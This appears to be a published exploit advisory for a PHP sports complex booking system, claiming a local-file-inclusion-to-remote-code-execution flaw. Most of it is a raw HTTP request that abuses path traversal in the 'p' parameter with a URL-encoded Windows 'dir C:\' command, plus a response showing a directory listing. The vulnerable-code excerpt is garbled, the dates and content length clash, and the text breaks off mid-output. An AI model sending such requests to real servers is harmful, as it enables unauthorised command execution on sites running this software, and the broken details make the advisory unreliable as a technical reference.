# Title: Sports Complex Booking System 1.0 LFI To RCE # Author: Hejap Zairy # Date: 28.07.2022 # Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html # Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache #vulnerability Code php Needs more filtering require_once php``` ---- chk_flashdata('success')): ?> ---- ``` [+] Payload GET ``` GET /scbs/?p=../../../0day&515=%64%69%72%20%43%3a%5c HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg Upgrade-Insecure-Requests: 1 ``` #Status: CRITICAL #Response ``` HTTP/1.1 200 OK Date: Sun, 28 Mar 2022 08:05:28 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 X-Powered-By: PHP/7.4.27 Content-Length: 17 Connection: close Content-Type: text/html; charset=UTF-8` Volume in drive C is OS Volume Serial Number is 2EF1-9DCA Directory of C:\ 03/26/2022 08:51 PM